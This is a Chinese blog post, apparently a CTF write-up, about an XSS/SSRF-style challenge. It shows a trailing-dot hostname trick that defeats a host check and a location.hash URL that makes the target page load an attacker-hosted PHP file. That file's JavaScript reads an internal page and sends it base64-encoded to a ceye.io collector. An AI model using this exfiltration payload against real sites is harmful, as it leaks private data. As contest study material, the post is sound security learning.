美文网首页
空指针第一次WEB公开赛(记录一下XSS)

空指针第一次WEB公开赛(记录一下XSS)

作者: Err0rzz | 来源:发表于2020-04-24 12:14 被阅读0次

感谢@王师傅的细心指导。

整体的流程如下图(将就着看):

首先解决第一个问题:因为同源策略Server不能执行Client域下的hint.php脚本。
这里可以通过在hint.php加入CORS头来完成跨域请求。header("Access-Control-Allow-Origin: *");

然后第二个问题,如何Server如何发出请求?
根据题目提示,F12看源码JS发现了以下代码:

#custom.js
/**
 *
 * You can write your JS code here, DO NOT touch the default style file
 * because it will make it harder for you to update.
 * 
 */

function isProd(){
    return window.location.host=='treasure.npointer.cn';
}

function loadPage() {
    if (!window.location.hash) {
        window.location.hash = '#home'
    }

    url = window.location.hash.substring(1)+'.html';
    //调试太麻烦了,日常测试放开限制
    if(isProd()) {
        url = window.location.origin + '/' + url;
    }
    $.get(url, function(result){
        $("#content").html(result);
    });

}

window.addEventListener('hashchange',function(event){
   loadPage();
});

loadPage();

我们需要控制url值,也就是说

    if(isProd()) {
        url = window.location.origin + '/' + url;
    }

我们不能进入上述的if语句中。

  1. 传入url=http://treasure.npointer.cn./index.html#http://47.244.179.133/hint.php#test
  2. 此时上述代码中window.location.hash取到第一个锚点后的值http://vps/hint.php#test
  3. 然后url拼接成http://vps/hint.php#test.html,此时根据锚点的意义,仍会执行hint.php

在第1步中,isProd()函数中window.location.host的值为treasure.npointer.cn.,多了个点.会影响等号判断,返回否。但是在解析的时候,并不会收到任何影响,所以前段JS仍会将请求发给Server,让它去完成一开始图中的步骤。

vps上的hint.php如下:

 <?php
 header("Access-Control-Allow-Origin: *");
 echo '<script type="text/javascript">
     var xhr = new XMLHttpRequest();
     xhr.onreadystatechange = function() {
     if(xhr.readyState === 4) {
     document.location="http://xxxx.ceye.io/?"+btoa(xhr.responseText);
     }
           }
       xhr.open("GET", "http://treasure.npointer.cn./hint.html",true);
       xhr.send()
       </script>
        ';

ceye接收到的结果如下(有延迟,我一直以为自己哪里写错了,贼坑):

CiAgICA8aDEgY2xhc3M9InNlY3Rpb24taGVhZGVyIj4KICAgICAgICA8ZGl2PkhpbnQ8L2Rpdj4KICAgIDwvaDE+CiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLWJvZHkiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGg0PlNvdXJjZSBDb2RlczogaHR0cHM6Ly9hdHRhY2htZW50Lm5wb2ludGVyLmNuLzEvdHJlYXN1cmUtMmIyNGU4MjFmNGQ4NTUzMDYwZWJhNTFmOTliMmQxMWIuemlwPC9oND4KICAgICAgICAgICAgICAgIDxoND5KYXZhOiAxLjguMF8yMzI8L2g0PgogICAgICAgICAgICAgICAgPGg0PkZsYWc6IC9mbGFnL2ZsYWcxMDI0PC9oND4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cgo=

接下来是Java的内容了,因为不是很懂,所有等以后有时间慢慢调试吧

未完待续

相关文章

  • 空指针第一次WEB公开赛(记录一下XSS)

    感谢@王师傅的细心指导。 整体的流程如下图(将就着看): 首先解决第一个问题:因为同源策略,Server不能执行C...

  • 安全测试基础之 XSS

    在web项目安全漏洞中,XSS是最为流程的漏洞类型之一,今天就来介绍一下XSS。 01 — XSS介绍 跨站脚本攻...

  • iOS-空指针,野指针,僵尸对象

    浅谈一下空指针,野指针,僵尸对象。 空指针:没有存储任何内存地址的指针,空指针的值是0; 野指针:指针指向的对象已...

  • XSS 攻击防守

    最常见的攻击xss 什么是xss? 为什么是xss? 开放式Web应用程序安全项目(Open Web Applic...

  • XSS如何防范

    XSS如何防范 题意分析在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。下面我们首先简单了解一下...

  • XSS攻击

    XSS攻击定义 XSS Cross Site Scripting 跨站脚本攻击 XSS攻击原理 它允许恶意web用...

  • XSS CSRF

    XSS攻击 什么是XSS攻击 XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中...

  • XSS攻击、CSRF攻击

    XSS攻击 1.什么是XSS XSS,全称Cross Site Scripting,跨站脚本攻击。恶意web用户往...

  • XSS攻击

    什么是XSS? XSS攻击中文全称“跨站脚本攻击”。XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用...

  • XSS盗取cookie

    XSS定义 XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。XSS是指攻击者利用网络没有对...

网友评论

      本文标题:空指针第一次WEB公开赛(记录一下XSS)

      本文链接:https://www.haomeiwen.com/subject/xruaoctx.html